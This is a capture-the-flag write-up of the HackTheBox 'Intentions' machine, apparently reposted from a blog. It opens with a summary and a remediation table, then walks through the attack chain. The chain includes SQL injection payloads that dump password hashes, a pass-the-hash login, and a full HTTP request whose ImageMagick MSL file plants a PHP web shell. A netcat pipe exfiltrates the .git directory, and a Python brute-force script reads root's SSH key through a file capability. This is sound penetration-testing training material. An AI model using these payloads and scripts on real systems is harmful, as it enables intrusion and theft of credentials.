Summary
- SQL Injection — The
favorite genresinput field (/api/v1/gallery/user/feed) was vulnerable to SQL injection, allowing a UNION-based attack that extracted the admin user's email address and bcrypt password hash. - Information Disclosure / Pass-the-Hash — A leftover debug comment in the front-end
admin.jsrevealed that/api/v2/auth/loginaccepted authentication via the raw password hash itself (Pass the Hash), allowing login as admin using the extracted hash. - SSRF (Imagick / ImageMagick MSL) — The admin panel's
/api/v2/admin/image/modifyendpoint was vulnerable to SSRF, which was leveraged via a crafted MSL file to write arbitrary PHP code (a web shell) into the web root, achieving remote code execution. - Leftover
.gitHistory on the Production Server — After obtaining a web shell, enumeration of the server filesystem revealed a.gitdirectory left in the deployment folder; its commit history exposed plaintext credentials for usergreg, which were used to obtain SSH access. - Privilege Escalation via Linux Capabilities Abuse — The
/opt/scanner/scannerbinary had thecap_dac_read_search=epcapability assigned, and a design flaw allowing it to be used as a hash oracle was exploited via brute force to read root'sid_rsa, resulting in root-level access.
Recommendations
Assuming this were a real-world environment, I would recommend the following:
| Priority | Vulnerability | Recommendation |
|---|---|---|
| Critical | SSRF via Imagick (/api/v2/admin/image/modify) | • Set rights="none" for the MSL/MVG/LABEL/EPHEMERAL/URL/HTTPS/HTTP coders in policy.xml • Update ImageMagick to 7.1.1 or later • Apply whitelist validation on the path/effect parameters |
| Critical | SQL Injection (favorite genres) | • Convert all queries to use prepared statements (e.g. DB::table()->where()) • Audit and remove uses of whereRaw/DB::raw |
| High | Pass-the-Hash (/api/v2/auth/login) | • Remove the direct hash-comparison login logic • Authenticate using only password_verify($plain, $hash) • Remove any debug/bypass code paths |
| High | Leftover .git history on the production server | • Deploy without .git (e.g. via git archive or rsync --exclude='.git') • Remove the .git directory from the already-deployed server and review the CI/CD pipeline |
| High | Hardcoded credentials in repository history | • Purge them from history with git filter-repo/BFG and rotate the exposed password immediately • Manage secrets via environment variables / Vault, etc. • Add secret scanning (e.g. gitleaks) to CI |
| Medium | Unnecessary Linux capability (cap_dac_read_search) | • Strip the capability with setcap -r • If required, switch to a least-privilege account with ACLs instead • Add getcap -r / to regular host audits |
| Medium | Brute-forceable hash oracle | • Remove the character-by-character response behavior • Use a timing-safe comparison (e.g. hash_equals()) and never return the result externally |
| Low | Debug comments left in production (admin.js) | • Enable drop_console plus comment stripping in the build process • Add a static check (e.g. grep-based) in CI before release |
Enumeration
First of all, let's enumerate open ports using nmap.
for i in 1 2; do sudo nmap -sS -Pn -p- --open -n --min-rate 1500 -oA scan_all$i 10.129.229.27; done ports=$(grep -ohP '\d+(?=/open)' scan_all*.gnmap | sort -un | paste -sd, -); echo $ports sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.229.27 Port 20(SSH) and 80(HTTP) are open. This suggest a simple Linux machine.
sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.229.27 No interesting UDPs.
First, let's open the 80(HTTP) port.
http://10.129.229.27/
For web pages, you should also check the Network tab. When you do, the fact that the URL doesn't change when opening the Login and Register tabs suggests that this is a Single Page Application (SPA) where the page is rendered by JavaScript, like React or Vue. From this, you can infer that you should examine the JS files later.
Let's enumerate pages and js.
feroxbuster -u http://10.129.229.27 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak You can see that /admin exists but redirected. This suggests that an authentication is required.
feroxbuster -u http://10.129.229.27/js -w /usr/share/seclists/Discovery/Web-Content/common.txt -x js You can see admin.js exists.
admin.js has unique comments as follows. They infer that Pass the Hash for login is allowed and that imagick is being used.
Go back to the web app. After registering a new user test, I logged in the web app.
The dashboard is up, with some features working.
Exploitation
On the Your Profile page, there is an input field for favorite genres. If you insert a ', the API http://10.129.229.27/api/v1/gallery/user/feed returns a Server Error, which runs automatically when you open the Your Feed page.
After several attempts, I noticed that the following payloads produce different responses.
food')/**/AND/**/1=1# // give several data food')/**/AND/**/1=2# // give nothing So, using the above format, I started SQLi as follows.
food')/**/ORDER/**/BY/**/1# food')/**/ORDER/**/BY/**/2# food')/**/ORDER/**/BY/**/3# food')/**/ORDER/**/BY/**/4# food')/**/ORDER/**/BY/**/5# food')/**/ORDER/**/BY/**/6# 6 number gives an error so that there are 5 columns.
Next, you can use UNION.
-1')/**/UNION/**/SELECT/**/1,2,3,4,5# 3rd column is on the display. So, this column can be used to show the contents of database.
-1')/**/UNION/**/SELECT/**/1,2,group_concat(0x7c,TABLE_NAME,0x7c),4,5/**/FROM/**/INFORMATION_SCHEMA.TABLES# The table users sounds interesting.
Let's dig deeper.
-1')/**/UNION/**/SELECT/**/1,2,group_concat(0x7c,COLUMN_NAME,0x7c),4,5/**/FROM/**/INFORMATION_SCHEMA.COLUMNS# -1')/**/UNION/**/SELECT/**/1,2,concat(0x7c,admin,email,password,0x7c),4,5/**/FROM/**/users# We found credentials.
steve@intentions.htb $2y$10$M\/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa greg@intentions.htb $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m According to admin.js, the web site allows Pass the Hash attack. I tried PtH on /api/vs/auth/login.
Success!
Burp Suite has a "Request in browser → In original session" function. Using this, you can open the page with the issued cookie. With the cookie saved in the browser, open /admin, which previously met as requiring authentication.
New page opens!
After several tries, I noticed that there is a SSRF vulnerability on /api/v2/admin/image/modify as follows.
I was able to make the server send a request to an arbitrary URL.
At this point, I got stuck. After checking some writeups, I understood that the imagick vulnerability can be exploited as follows.
POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=charcoal HTTP/1.1 Host: 10.129.229.27 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=ABC X-XSRF-TOKEN: eyJpdiI6ImkvQitTaE9IcGhleExZSFZ6cjFkWFE9PSIsInZhbHVlIjoiZHZrU0pFcGVCVHVMRnI3OEV0bVJLUU9lWGFMaE5hRWk2citML1M3MmYxK3J1NXIvbWJZNXRDRGNjK2tqeGROT1VJRkZJaVlscERvb0kwb29kZW05cTVLcVFYY1JSQ2hIVVNRa1hia3g3YnVWVGtaZDU2U2VNSVMwa0ticGo5UlciLCJtYWMiOiI0ZTViMGQ2NzA0MzJjNjY1N2FkZTU4N2M5YTA5ZDQzZGE0ODc1MmNlMzFiOGIxZmFmYzI0NzU5NzdhNDFmOTc4IiwidGFnIjoiIn0= Content-Length: 314 Origin: http://10.129.229.27 Connection: keep-alive Referer: http://10.129.229.27/admin Cookie: XSRF-TOKEN=eyJpdiI6ImkvQitTaE9IcGhleExZSFZ6cjFkWFE9PSIsInZhbHVlIjoiZHZrU0pFcGVCVHVMRnI3OEV0bVJLUU9lWGFMaE5hRWk2citML1M3MmYxK3J1NXIvbWJZNXRDRGNjK2tqeGROT1VJRkZJaVlscERvb0kwb29kZW05cTVLcVFYY1JSQ2hIVVNRa1hia3g3YnVWVGtaZDU2U2VNSVMwa0ticGo5UlciLCJtYWMiOiI0ZTViMGQ2NzA0MzJjNjY1N2FkZTU4N2M5YTA5ZDQzZGE0ODc1MmNlMzFiOGIxZmFmYzI0NzU5NzdhNDFmOTc4IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6IjlPQkhPVnhndDk0cTFndklVVGpkNlE9PSIsInZhbHVlIjoiVDZGU3NQK3BXSnVEL1RicmthclpBbHlpeE1jZlU5bW9WbTNOS1pubWkzWUh2TllYTCtoaTBGYVMzV2ZuL2xkNmR5K0FOQXVod2taNGlWODNmZjdkcHZ5cmxPNlZMbkcwdnRLb0kvNURBVUZCYVVLalRTTmQwMU5zbjh2dHljZ3ciLCJtYWMiOiJjYzYwYzY0NmI2ZTg3MTBkMjQ5NzdjZjBjYTEzZWY2MzFjMTc0MThkNzZmNmJhY2E5ZjEyZjE3NzdjYmZhNGJiIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjIyOS4yNy9hcGkvdjIvYXV0aC9sb2dpbiIsImlhdCI6MTc5NTU4Nzg1MCwiZXhwIjoxNzk1NjA5NDUwLCJuYmYiOjE3OTU1ODc4NTAsImp0aSI6IjZuT2E2d3U0NFhsdlhkR2siLCJzdWIiOiIxIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyJ9.tOYelzz8DZJ-RSIUKoDYWYhDbBhF1NtAejG30KMSqYI Priority: u=0 --ABC Content-Disposition: form-data; name="swarm"; filename="swarm.msl" Content-Type: text/plain <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>" /> <write filename="info:/var/www/html/intentions/public/shell.php" /> </image> --ABC-- We got a shell.
Looking around in the shell, I found a .git directory. I'll download it.
nc -lvnp 4444 > received.tar.gz watch -n 1 'stat -c "%s" received.tar.gz 2>/dev/null | awk "{printf \"%.1f MB\n\", \$1/1024/1024}"' tar czf - .git | wc -c | awk '{printf "%.1f MB\n", $1/1024/1024}' tar czf - .git | nc 10.10.16.3 4444 tar xzf received.tar.gz Let's check the content of the .git.
git -c safe.directory='*' log --oneline --all git -c safe.directory='*' show f7c903a A new credential!
greg@intentions.htb Gr3g1sTh3B3stDev3l0per!1998! Let's login with the credential through ssh.
ssh greg@10.129.229.27 Obtained a shell and user.txt.
Privilege Escalation
ls -la cat dmca_check.sh getcap -r / 2>/dev/null I worked out that this scanner could be used to read id_rsa, but I wasn't able to write the brute-force script myself, so I referred to a writeup.
https://0xdf.gitlab.io/2023/10/14/htb-intentions.html
#!/usr/bin/env python3 import hashlib import subprocess import sys def get_hash(fn, n): """Get the target hash for n length characters of filename fn""" proc = subprocess.run(f"/opt/scanner/scanner -c {fn} -s whatever -p -l {n}".split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: return proc.stdout.decode().strip().split()[-1] except IndexError: return None def get_next_char(output, target): """Take the current output and figure out what the next character will be given the target hash""" for i in range(256): if target == hashlib.md5(output + chr(i).encode()).hexdigest(): return chr(i).encode() output = b"" fn = sys.argv[1] while True: target = get_hash(fn, len(output) + 1) next_char = get_next_char(output, target) if next_char is None: break output += next_char print(next_char.decode(), end="") I copied this and logged in.
Source:https://dev.to/nekohige/htb-intentions-writeup-no-metasploit-2aj
















































